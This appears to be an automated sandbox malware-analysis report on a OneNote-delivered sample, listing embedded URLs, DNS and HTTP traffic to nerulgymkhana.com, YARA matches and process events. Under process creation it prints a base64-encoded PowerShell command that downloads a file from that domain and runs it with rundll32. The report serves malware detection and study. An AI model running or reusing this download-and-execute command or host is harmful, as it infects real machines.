Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://settings.outlook.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://tasks.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: unknown

DNS traffic detected: queries for: nerulgymkhana.com

Source: global traffic

HTTP traffic detected: GET /CCoN/01.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: nerulgymkhana.comConnection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6124:120:WilError_01
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTEM.EXE	Mutant created: \Sessions\1\BaseNamedObjects\OneNoteM:AppShared
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5296:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL25lcnVsZ3lta2hhbmEuY29tL0NDb04vMDEuZ2lmIC1PdXRGaWxlIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZw0KcnVuZGxsMzIgQzpccHJvZ3JhbWRhdGFccHV0dHkuanBnLFdpbmQNCmV4aXQNCg=='))
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL25lcnVsZ3lta2hhbmEuY29tL0NDb04vMDEuZ2lmIC1PdXRGaWxlIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZw0KcnVuZGxsMzIgQzpccHJvZ3JhbWRhdGFccHV0dHkuanBnLFdpbmQNCmV4aXQNCg=='))			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTEM.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3232			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7274			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1504	Thread sleep count: 3232 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1324	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4648	Thread sleep count: 7274 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4872	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4768	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
